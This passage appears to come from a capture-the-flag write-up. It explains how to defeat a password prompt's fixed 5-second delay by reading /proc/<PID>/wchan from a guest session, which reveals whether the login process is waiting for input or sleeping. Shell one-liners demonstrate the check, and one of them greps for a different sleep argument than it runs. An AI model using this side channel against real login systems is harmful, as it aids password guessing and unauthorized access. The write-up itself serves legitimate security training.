There is a 5-second timeout for entering a password. However, even if the password is incorrect, the system always waits approximately 5 seconds.
Solution
Create two connections simultaneously and log in with one as a guest user to read files. The guest user can access and read the procfs of another process, providing information about the processes that are currently attempting to log in.
As previously mentioned, /proc/<PID>/wchan
indicates why a "waiting" process is in a waiting state. Let's conduct an experiment.
terminal1$ cat - terminal2$ cat /proc/$(ps aux | grep "cat -" | awk '{print $2}' | head -n 1)/wchan wait_woken
terminal1$ sleep infinity terminal2$ cat /proc/$(ps aux | grep "sleep 1234" | awk '{print $2}' | head -n 1)/wchan hrtimer_nanosleep
The results differ depending on whether the process is waiting for read
or sleep
. Therefore, you can determine if the 5 seconds until timeout are for waiting for the next character input or for waiting for sleep.
*1:In fact, Qiling has no feature corresponding to ASLR. You need to use “profile” if you want to randomize the address.